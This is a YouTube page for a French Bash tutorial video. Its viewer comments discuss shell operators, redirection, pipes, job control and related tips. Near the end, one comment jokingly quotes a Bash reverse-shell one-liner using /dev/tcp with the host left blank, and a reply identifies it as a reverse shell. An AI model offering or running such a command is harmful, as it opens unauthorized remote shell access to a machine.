11 Incantations magiques pour apprendre Bash

Поделиться
HTML-код
  • Опубликовано: 26 дек 2024

Комментарии • 107

  • @lucluc5783
    @lucluc5783 3 года назад +2

    00:00 intro
    0:24 $ (le dollard)
    0:30 $?
    1:58 $ suivit d'un nombre
    5:00 | (le pipe)
    8:39 > (plus grand que, et double plus grand que)
    10:07 < (plus petit que)
    11:56

  • @gloubiboulga3063
    @gloubiboulga3063 2 года назад +4

    Attention en bash à l'argument $10 (paramètre positionnel) qu'il faudra mettre entre crochets sinon ils n'interprète pas le 10 comme il faut.
    Donc penser dans le script à mettre echo "${10}" sinon ça fonctionne pas.( ou c'est interprété comme argument 1)
    Pour le pipe et grep, c'est plus POSIX compatible.

  • @ChristopheCasalegno
    @ChristopheCasalegno 4 года назад +4

    Hello, petite note à environ 7 min 40, "echo" par défaut est une commande interne en bash (à ne pas confondre avec le binaire système echo, qui a la même fonction). Le plus "drôle" c'est de lancer un script avec une boucle de 100000 echo (commande interne donc) avec un time devant pour mesurer la durée d'exécution, puis de faire la même chose en appelant le programme "écho" par son chemin complet (prévoir un petit paquet de popcorn), c'est une bonne manière d'introduire le concept de fork xD

    • @reneribaud8912
      @reneribaud8912 4 года назад

      de même que [ ] est la commande test, il faut mieux utiliser [[ ]] qui est plus puissante (marche avec des regexp) et buildin dans bash.

    • @bationodofinitabrice517
      @bationodofinitabrice517 4 года назад

      Ça m'intéresse ton principe, as tu une bonne documentation la dessus?

    • @reneribaud8912
      @reneribaud8912 4 года назад +1

      @@bationodofinitabrice517 oui tu peux regarder google.github.io/styleguide/shellguide.html#s6.3-tests
      Sinon c'est très bien expliqué dans la doc de bash dans la section "Commandes composées" et "EXPRESSIONS CONDITIONNELLES", ici manpagesfr.free.fr/man/man1/bash.1.html en cherchant les occurrences de '[['.

  • @X4vi3rG
    @X4vi3rG 4 года назад +39

    Bon petit tuto merci | le symbole "&" = esperluette ;-)

    • @gloubiboulga3063
      @gloubiboulga3063 2 года назад

      Oui mais && est un opérateur de comparaison, qui dit quand les conditions sont réunies, les 2 qu'on utilise avec &&, un peu comme l'opérateu "and" en python, de l'opération ET logique, qui renvoie quelque chose que si les 2 commandes n'ont pas eu d'erreur. :)

  • @Agesilas2
    @Agesilas2 4 года назад +75

    on ne dit plus "magie noire" mais "magie de couleur" ou "magie issue de la diversité", c'est moins stigmatisant 😁

    • @edomaur
      @edomaur 4 года назад

      on peut aussi dire bashtroyer

    • @echopraxium5776
      @echopraxium5776 4 года назад +5

      non: "Altération de réalité de minorité visible"

    • @ggousier
      @ggousier 4 года назад

      MDR !

    • @ange550
      @ange550 4 года назад +4

      C'est violent aussi quand il écris "kill 190", moi je pense qu'on devrait mettre une loi contre ça

    • @unperrier5998
      @unperrier5998 2 года назад

      surtout pour les magiciens.

  • @tonymusic7398
    @tonymusic7398 3 года назад +1

    Merci beaucoup pour ces explications, c'était super clair 👍 il y a aussi le programme screen qui permet de lancer des commandes en fond de tâche qui est encore plus pratique que le &

    • @undefinedperson7816
      @undefinedperson7816 2 года назад

      Et tmux aussi entre autres. Ce sont des multiplexeurs de terminaux.

  • @MentorDevOps
    @MentorDevOps 4 года назад +11

    Haha tu a fait ma journée avec ton intro 🤣.
    Tu aurrai aussi pu aborder le $# qui est la variable qui contient le nombre d'arguments du script, ou de la fonction.

  • @pascuol
    @pascuol 4 года назад +6

    T'aurais pu terminer sur fg, passe en avant plan la dernière commande en arrière plan.
    Puis bon ctrl-z qui suspend la commande en cours, bg pour la passer en arrière plan.
    Ça se mariait bien avec ton sleep.
    Puis quand on maîtrise les pipes et autres, envoyer un rar sur une autre machine qui le décompresse à la volée, ou plein d'autre exemple qui montrent à quel point ce pipe est ouffissime et ça t'aurais amener sur - .Pas avec grep dans un exemple ou c' est inutile..
    Je te voyais aussi expliquer les entrées standards au moment de ton mkdir, pour empêcher un scrit d'afficher les messages d'erreurs..
    Bref il y a encore beaucoup à dire, comme qqn la mis dans les commentaires un man c'est mieux que qq exemple, man test, man bash, ...
    Joli survol..

  • @K0rbeille.d
    @K0rbeille.d 4 года назад +1

    Salut Thomas, merci pour cette vidéo. Je me souviens avoir répondu que je souhaitais voir un sujet autour de Bash dans ton sondage. Heureux de voir que c'est dispo.
    Après une vingtaine de visionnages et de notes ça va rentrer ;)

  • @elyseemerisier4329
    @elyseemerisier4329 2 года назад +1

    Je pense qu’il faut élargir le cadre

  • @kholoinformatique
    @kholoinformatique 4 года назад +2

    bien expliqué !
    $0 $1 $... $@ => $*
    & = esperluette ou et commercial comme dit dans d'autres commentaires
    while :
    boucle sans fin... parfait pour du monitoring
    exemple :
    while : ; do sensors ; sleep 1 ; clear ; done
    attention ça rempli le buffer lors des appel en terminal... on peut mettre un reset à la place du clear ...ou passer par un fichier qui sera lu...
    dans Ubuntu j'envoie ce fichier dans /dev/shm (c'est un tmpfs) et je le cat ou le tail
    rien pour jouer avec IF ?
    IF=$'
    '
    pour jouer avec des profiles de firefox :
    # on lance firefox (on peut en GUI)
    # et on attend 10 secondes... # 10 devrait le faire...
    firefox & ; sleep 10
    # on lance le choix de profile de firefox...
    firefox --no-remote -P &
    ## --no-remote pour lancer un profile quand un autre est lancé !
    # if then else en bash
    [ condition ] && si condition oui || si condition non
    NB le man de test !!
    man test

  • @guyndoma961
    @guyndoma961 4 года назад +1

    J’ai rien capté mais ça a l’air cool, je vais regarder tes vidéos depuis le début

  • @elyseemerisier4329
    @elyseemerisier4329 2 года назад +1

    Avantage j’ai déjà le terrain a être utilisé

  • @stmikhael1806
    @stmikhael1806 3 года назад +1

    1:44 pour l'erreur : bas tu a Google, stackoverflow, la prière et le voodoo.
    si ça marche pas il y a la fonction :
    role_the_dice(e) {
    if (e%1) {rm -rf /ma_vie}
    else {kick_job}

  • @glmchn
    @glmchn 4 года назад +1

    Salut Thomas, super video comme d'hab
    Est-ce que tu peux expliquer ta manip à 3:20 quand tu dis "je retourne dans mon script" stp ? (C'était cool quand on avait l'affichage de tes inputs ^^)
    Keep it up

    • @MentorDevOps
      @MentorDevOps 4 года назад +1

      Il fait un ctrl+r pour rechercher dans les commandes qu'il a exécuté dans l'historique.
      Il y a plus d'info ici : www.commandeslinux.fr/rechercher-dans-lhistorique-bash-avec-ctrlr/
      C'est hyper puissant.

  • @bastienducarme
    @bastienducarme 4 года назад +5

    Le double pipe correspond au OU ( || = "ou" ) et la double esperluette correspond au ET (&& = "et") :)

    • @o_be_one
      @o_be_one 4 года назад +3

      Ce ne serait pas plutôt « si vrai alors » et « si faux alors » ou encore « si exit code = 0 alors » et « si exit code > 0 alors » ?

  • @Ywqqqq
    @Ywqqqq 4 года назад

    En lien avec du développement en C++ qui regorge de symboles &, on a pris l'habitude de l'appeller "Amp" d'après "Ampersand" afin de se comprendre quelque soit la langue parlée

  • @elyseemerisier4329
    @elyseemerisier4329 2 года назад +1

    Si il ya quelqu’un qui pourrait m’aider à monter un entreprise la ou je suis en Haïti cela tomberait bien

  • @benjaminmoine588
    @benjaminmoine588 3 года назад

    Mais après, ça sert pas à grand chose de renvoyer une commande avec ||, pour éviter les erreurs, puisque les erreurs permettent précisément de savoir ce qu'on a fait de mal pour progresser, du coup, si on masque nos erreurs, et bien on se tire une balle dans le pied, non?

  • @vergnauddamien3521
    @vergnauddamien3521 4 года назад +1

    Mais dis moi Jamy, pourquoi ton fichier ne contient pas hahahahahahanimporte quoi sur une seule ligne ? :3

  • @reunosn2454
    @reunosn2454 2 года назад

    Super intéressant ! Merci et bravo !

  • @bwaaabwaaa5729
    @bwaaabwaaa5729 4 года назад

    Salut je découvre ta chaîne et je suis déjà fan !! Tu es vraiment clair dans tes explications ! Je voudrais passer mon lpic1 aurais tu des conseils ? Merci pour tout

    • @cocadmin
      @cocadmin  4 года назад

      Salut! Non j’ai pas de conseil j’ai jamais passé cette certif :)

  • @fadadu75
    @fadadu75 3 года назад

    Salut Cocadmin, comment ça va =D
    Je voulais savoir tu étais dans quel OS dans ta vidéo, et quel etait le terminal que tu utilisais

    • @cocadmin
      @cocadmin  3 года назад +1

      J’utilise WSL. Ça permet d’avoir Linux dans Windows sans avoir à gérer des machines virtuelles et pouvoir utilisé les appli et jeux de Windows.
      Pour le terminal c’est le nouveau terminal windows :)

    • @fadadu75
      @fadadu75 3 года назад

      @@cocadmin je te remercie :) et continue comme ça 😁😄

  • @sebastieninion213
    @sebastieninion213 2 года назад

    Super vidéo bravo ! Alors le & est appelé esperluette ! Je trouve ça plus sympa que et commercial lol merci pour le taf

  • @elyseemerisier4329
    @elyseemerisier4329 2 года назад

    Je pense qu’il faut que nous aussi la plus grande partie des internautes qui aiment la technologie nous devons aussi nous impliquer

  • @merovee5509
    @merovee5509 4 года назад

    Petite "subtilite" avec l'esperluette background, si il y a du texte qui sort genre stderr, ca sera print dans le term, ca peut etre relou xD

  • @NQuenault
    @NQuenault 3 года назад

    Pour le "&", on peut dire "'et' commercial", étant dev, je dis "and"

  • @booxas7
    @booxas7 4 года назад

    La vidéo en arrière plan elle a été ajouter en post prod ou c'est ton shell ?

    • @o_be_one
      @o_be_one 4 года назад +1

      Windows Terminal, la fait une vidéo dans laquelle il le met en place me semble. C’est un gif animé dans le terminal.

  • @amosnimos
    @amosnimos 3 года назад

    i learn those things the hard way, but nice to see all these tips in a single video.

  • @charlesb9_dev
    @charlesb9_dev 4 года назад +1

    Dommage que l'on ait pas des vidéos de cocadmin plus souvent 😉.

  • @vignemail1
    @vignemail1 3 года назад

    & = ampersand (english) / esperluette ou esperluète ou "et commercial" (français)| = pipe (english) / barre verticale (français)

  • @KaSSa__
    @KaSSa__ 4 года назад

    Je croyais ne jamais avoir besoin de ces informations et le lendemain j'écris un script bash qui utilise "grep quoi < fichier2", merci :D

  • @amadoubalde2279
    @amadoubalde2279 5 месяцев назад

    Bien utile pour moi

  • @elyseemerisier4329
    @elyseemerisier4329 2 года назад +1

    Je voudrais que vous m’appreniez tout ça puis nous formerons une superbe équipe mais moi je suis dans un pays pauvre j’aime bien la technologie mais j’ai rien du tout quoi

  • @soufianta8374
    @soufianta8374 3 года назад

    J’aime le shell par contre, est-ce un bon départ pour apprendre à coder ? Je sais que python est un très bon langage et je sais qu’on peut faire du shell dans python (avec des libraires os spécifiques) mais est-ce alors mieux de commencer par python et oublier le bash ? Je fais bcp de sysadmin mais je trouve que le bash est assez « lent » et « mystique » comme tu le dis si bien. Merci et bonne continuation (très bonne chaîne RUclips au passage)

    • @cocadmin
      @cocadmin  3 года назад

      Le bash est pas vraiment un bon premier language. Trop de truc mystique qui ne se retrouvent dans aucun autre languages.

    • @soufianta8374
      @soufianta8374 3 года назад

      @@cocadmin oui mais la logique des fonctions, variables, méthodes est la même que dans tout autre langage interprétés non? Même si le shell est mystique, il reste néanmoins le prédécesseur de tout les autres . Qu’en penses-tu ? Merci

    • @cocadmin
      @cocadmin  3 года назад +1

      @@soufianta8374 nan il y a plein de subtilités qui ne sont valables qu’en bash, plein de problème que tu n’as qu’en bash, plein de concept que tu as dans tous les autres languages mais pas en bash.
      Par exemple, pas de gestion des modules, pas de scope pour les variables, pas d’objets ni même de type de variables.
      C’est pour ça qu’il y a plein de truc bizarre en bash, pour palier à tous ces manques mais c’est souvent des bidouilles.

    • @soufianta8374
      @soufianta8374 3 года назад

      @@cocadmin Effectivement pas mal de contraintes par contre, faire du shell dans d’autres langages, c’est juste rajouter une « couche » d’abstraction supplémentaire .. Je présume que tu as été amener à utiliser pas mal de script shell dans ta carrière de sysadmin non? Ça reste toujours la manière la plus rapide de faire quelque chose de complexe en shell non? Je n’ai jamais vu quelqu’un écrire des scripts python (ou Ruby) pour automatiser des choses en shell ..

    • @cocadmin
      @cocadmin  3 года назад +1

      Oui c’est très utile et plein de choses son plus simples en bash que dans n’importe quel autre language.
      Tout dépend de ce que tu essaye de faire, quand tu connais les 2 tu peux choisir le meilleur outil pour chaque tache.
      En général le bash est mieux pour un petit script, et le python (ou autre ) deviens plus intéressant quand ton script grossis.

  • @danhabib3441
    @danhabib3441 4 года назад

    Tres bon tuto merci

  • @pierrechambet6754
    @pierrechambet6754 2 года назад

    comment se deplace-t-on du script au terminal ?

  • @focal3drone803
    @focal3drone803 4 года назад

    esperluette ;) , petite question conne mais & et ; n'ont pas la même fonction dans une commande ? mkdir testD;touch testF = mkdir testD & touch testF ???

    • @gaiusbaltar7122
      @gaiusbaltar7122 4 года назад

      En fait il faut mettre deux & entre les commandes et ça signifie: si la première commande est passée avec succès, exécuter la deuxième (sous-entendu, sinon, ne pas exécuter cette deuxième commande) alors que ; ne fait que séparer des commandes comme le saut à la ligne (touche entrée dans un script) qui sont alors toutes exécutées de manière séquentielles quel que soit leur résultat.

    • @focal3drone803
      @focal3drone803 4 года назад

      @@gaiusbaltar7122 oui oui ça je sais bien, mais mettre une seule esperluette fais le meme usage que ;
      Cela lance chaques commandes indépendamment 😊 ou alors j'ai loupé un truc (ou serait-ce la old way lol).

    • @gaiusbaltar7122
      @gaiusbaltar7122 4 года назад +1

      @@focal3drone803 en fait je n'avais jamais utilisé le & de manière isolée entre deux commandes et ne connaissais même pas son utilisation de la sorte (on en apprend vraiment tous les jours). J'ai donc fait une recherche à ce sujet et voila: "Cet opérateur permet de lancer simultanément deux commandes dont la première sera lancée en arrière plan."
      Source: doc.ubuntu-fr.org/projets/ecole/scripting/initiation_au_shell#presentation_de1

    • @focal3drone803
      @focal3drone803 4 года назад +1

      @@gaiusbaltar7122 ah génial ! C'est bon de savoir la nuance ! En effet ^^ comme quoi 😉

    • @reneribaud8912
      @reneribaud8912 4 года назад

      @@gaiusbaltar7122 dans un script on peut lancer des commandes en parallèles et attendre la fin en utilisant la commande wait.
      Ex :
      cmd1 &
      cmd2 &
      cmd3 &
      wait

  • @CaptainDangeax
    @CaptainDangeax 2 года назад

    bonjour Thomas. En Anglais c'est ampersand et en français c'est esperluette. Trop mignon

  • @skizecs
    @skizecs 3 года назад

    J'ai un exam sur le bash en fin d'année scolaire. Faudra que je mis mette lmao

  • @angebary9239
    @angebary9239 2 года назад

    c'est de la magie !!!

  • @vignemail1
    @vignemail1 3 года назад

    sleep 20 &
    jobs -l
    fg # pour revenir dans la commande sleep 20

  • @ipadgeneration
    @ipadgeneration 4 года назад +1

    Je te conseil shellcheck sur github. Tout se lint tout se teste haha ( c'est un l'inter Bash puissant, même s'il ne faut pas faire de bash 😉)

    • @gaiusbaltar7122
      @gaiusbaltar7122 4 года назад

      Ce truc a vraiment l'air génial. Il y a même un site interactif dédié: www.shellcheck.net/ . Merci pour l'info.

    • @reneribaud8912
      @reneribaud8912 4 года назад +1

      Oui shellcheck est super, je crois qu'il comprend en fonction du shebang si c'est du bash avec ses "bashism" ou si c'est un shell strictement posix.

  • @eddybash1342
    @eddybash1342 4 года назад +2

    Bonjour,
    Ça doit consommer du CPU ou GPU de dingue, votre animation permanente en fond d'écran...
    Merci pour le rouge sur fond bleu marine. Lol

    • @o_be_one
      @o_be_one 4 года назад

      C’est un gif

    • @eddybash1342
      @eddybash1342 4 года назад

      @@o_be_one je n'ai pas vu de répétition et ça semble être du calcul sur les décorations.

    • @o_be_one
      @o_be_one 4 года назад

      Je te le dis c’est un gif. Je crois qu’il avait fait une vidéo quand il avait mis en place Windows Terminal avec son gif. Et utilisant aussi Windows Terminal, je peux t’affirmer que ça prend les gifs animés.

    • @cocadmin
      @cocadmin  4 года назад

      Yep c’est un long gif ;)

  • @narcissekouassi4428
    @narcissekouassi4428 4 года назад

    salut comment devenir un ma
    gicien?

  • @dlep9221
    @dlep9221 4 года назад +1

    ça me rappelle ma jeunesse :-) Le bash est d'une puissance phénoménale, je me suis éclaté avec cet outil mais Powershell n'est pas mal non plus. & s'appelle le é commercial, && = ET et || = OU

    • @gaiusbaltar7122
      @gaiusbaltar7122 4 года назад +1

      Je plussoie. Powershell est vraiment génial en raison de sa puissance (liée au fait qu'il soit orienté objet) et de son intuitivité (liée à la cohérence de sa conception) qui le rend très facile à apprendre.

  • @impe001
    @impe001 3 года назад

    les && et les || pour retenir facilement c'est exactement la meme chose que en c pour ceux qui en on fait

  • @gaiusbaltar7122
    @gaiusbaltar7122 4 года назад

    Vidéo très sympa.

  • @adrien8768
    @adrien8768 4 года назад

    Super :) merci

  • @algoconcept
    @algoconcept 4 года назад

    Après blacklist, black magic,... le noir c'est mal... ya un jeu ou tu n'as pas fait exprès...? 🤔
    Sinon super vidéo comme d'habitude ! 👌

  • @nazimninja7351
    @nazimninja7351 4 года назад

    Merci (y)

  • @fadamatik1752
    @fadamatik1752 3 года назад

    && : en langage français je dis "et et" ou "double signe et" super vidéo 👌

  • @facdrs
    @facdrs 3 года назад

    Le pipe c'est le pipe ! 😂

  • @chaxiraxi_ytb
    @chaxiraxi_ytb 4 года назад

    《Le bash c'est un langage de bricoleur》 Je savais pas que ceux qui ont fait le bash travaillaient chez bricoflex 😂

  • @sebastiens5013
    @sebastiens5013 4 года назад +1

    L'animation en fond du terminal est très perturbante, dommage 😕
    Sinon super vidéo 😊

    • @charlesb9_dev
      @charlesb9_dev 4 года назад

      C'est un simple gif, donc j'imagine que la consommation est plutôt faible.

  • @melchiordesaintfiacre6428
    @melchiordesaintfiacre6428 Год назад

    &:
    "et commercial"
    ou "esperluette" 😉

  • @AlaaElHelw
    @AlaaElHelw 4 года назад +4

    & = Esperluette :)

    • @MentorDevOps
      @MentorDevOps 4 года назад +3

      On peu aussi dire "et commercial" je pense que ça vien du temps où certaines entreprises s'appellaient "mySoc & Co"

    • @eddybash1342
      @eddybash1342 4 года назад +2

      @@MentorDevOps oui comme le célèbre plombier Margoulin & Gougniafie ! Lol

    • @oseillecrepue4362
      @oseillecrepue4362 4 года назад

      Dans les livres anciens on trouve parfois & à la place de "et"

    • @eddybash1342
      @eddybash1342 4 года назад

      @@oseillecrepue4362 ça s'appelle l' ampersand !

  • @ptitbenable
    @ptitbenable 2 года назад

    & : esperluette, ou "et commercial"

  • @foxypiratecove37350
    @foxypiratecove37350 Год назад

    Le &, ça s'appelle une "esperluette".

  • @varlorgvarlorg2304
    @varlorgvarlorg2304 4 года назад

    "Code de retour" pas "code d'erreur"

  • @_hackwell
    @_hackwell Год назад

    je connais que "bash -c 'bash -i >& /dev/tcp// 0>&1'" 😁

    • @mwlulud2995
      @mwlulud2995 4 месяца назад +2

      Le bon reverse shell des familles;)

  • @hnmscreentech5680
    @hnmscreentech5680 Год назад

    Passionnant le bash, mais des erreurs de grammaire : SI j'aurai ?? non, si j'avais. Mnémotechnique : monsieur "SI" n'aime par les "RAI" (ça fait saigner les oreilles)